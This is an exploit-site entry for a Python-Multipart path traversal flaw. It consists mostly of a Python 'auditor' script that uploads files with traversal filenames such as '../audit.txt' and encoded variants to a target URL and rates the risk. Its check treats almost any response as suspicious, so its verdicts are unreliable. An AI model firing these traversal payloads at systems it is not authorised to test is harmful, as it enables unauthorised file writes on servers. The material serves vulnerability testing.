Share
## https://sploitus.com/exploit?id=PACKETSTORM:222997
==================================================================================================================================
| # Title : Python-Multipart 0.0.22 Path Traversal Vulnerability โ Exploit Toolkit Exposure Auditor |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/Kludex/python-multipart |
==================================================================================================================================
[+] Summary : This code bundle contains two separate components related to the path traversal vulnerability affecting Python-Multipart versions prior to 0.0.22.
[+] POC :
#!/usr/bin/env python3
import requests
import os
import sys
import argparse
import time
import json
from urllib.parse import urlparse
BANNER = """
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Python-Multipart Exposure Auditor โ
โ Focus: Defensive Validation & Misconfiguration Detection โ
โ Type: Exposure Assessment โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
"""
SAFE_TEST_CONTENT = "AUDIT_TEST_CONTENT"
class PythonMultipartAuditor:
def __init__(self, target_url, verbose=False, timeout=10):
self.target_url = target_url.rstrip("/")
self.verbose = verbose
self.timeout = timeout
self.session = requests.Session()
self.session.headers.update({
"User-Agent": "Multipart-Auditor/1.0"
})
self.results = {
"target": target_url,
"checks": [],
"risk": "UNKNOWN"
}
def log(self, msg, level="INFO"):
colors = {
"INFO": "\033[94m[*]\033[0m",
"SUCCESS": "\033[92m[+]\033[0m",
"WARNING": "\033[93m[!]\033[0m",
"ERROR": "\033[91m[-]\033[0m"
}
print(f"{colors.get(level,'[*]')} {msg}")
def add_result(self, check, status, details):
self.results["checks"].append({
"check": check,
"status": status,
"details": details
})
def get_safe_payloads(self):
return [
"../audit.txt",
"../../audit.txt",
"../../../audit.txt",
"..\\audit.txt",
"%2e%2e%2faudit.txt",
"....//audit.txt",
"/tmp/audit.txt",
"./audit.txt"
]
def upload_probe(self, filename):
files = {
"file": (
filename,
SAFE_TEST_CONTENT,
"text/plain"
)
}
try:
response = self.session.post(
self.target_url,
files=files,
timeout=self.timeout
)
return response
except Exception as e:
self.log(f"Request failed: {e}", "ERROR")
return None
def check_baseline(self):
self.log("Baseline upload check")
response = self.upload_probe("audit.txt")
if not response:
self.add_result(
"baseline",
"ERROR",
"No response"
)
return
self.add_result(
"baseline",
"OK",
f"HTTP {response.status_code}"
)
def check_traversal_normalization(self):
self.log("Testing filename normalization")
suspicious = []
for payload in self.get_safe_payloads():
response = self.upload_probe(payload)
if not response:
continue
detail = {
"payload": payload,
"status": response.status_code
}
if response.status_code < 500:
suspicious.append(detail)
if self.verbose:
self.log(
f"{payload} -> {response.status_code}"
)
time.sleep(0.2)
if suspicious:
self.add_result(
"path_normalization",
"REVIEW",
suspicious
)
else:
self.add_result(
"path_normalization",
"OK",
"No unusual behavior observed"
)
def check_headers(self):
self.log("Checking response headers")
try:
r = self.session.get(
self.target_url,
timeout=self.timeout
)
findings = {}
findings["server"] = r.headers.get("Server")
findings["content_type"] = r.headers.get("Content-Type")
self.add_result(
"headers",
"INFO",
findings
)
except Exception:
self.add_result(
"headers",
"ERROR",
"Header collection failed"
)
def calculate_risk(self):
review_count = sum(
1 for x in self.results["checks"]
if x["status"] == "REVIEW"
)
if review_count >= 2:
self.results["risk"] = "HIGH"
elif review_count == 1:
self.results["risk"] = "MEDIUM"
else:
self.results["risk"] = "LOW"
def export_report(self, output):
with open(output, "w") as f:
json.dump(
self.results,
f,
indent=2
)
self.log(
f"Report saved: {output}",
"SUCCESS"
)
def audit(self):
self.check_baseline()
self.check_traversal_normalization()
self.check_headers()
self.calculate_risk()
return self.results
def main():
parser = argparse.ArgumentParser(
description="Python-Multipart Exposure Auditor"
)
parser.add_argument(
"-u",
"--url",
required=True
)
parser.add_argument(
"--test",
action="store_true",
help="Run audit checks"
)
parser.add_argument(
"--list-payloads",
action="store_true"
)
parser.add_argument(
"--report",
help="Export JSON report"
)
parser.add_argument(
"-v",
"--verbose",
action="store_true"
)
args = parser.parse_args()
print(BANNER)
auditor = PythonMultipartAuditor(
args.url,
args.verbose
)
if args.list_payloads:
for p in auditor.get_safe_payloads():
print(p)
return
if args.test:
result = auditor.audit()
print(
json.dumps(
result,
indent=2
)
)
if args.report:
auditor.export_report(
args.report
)
return
parser.print_help()
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================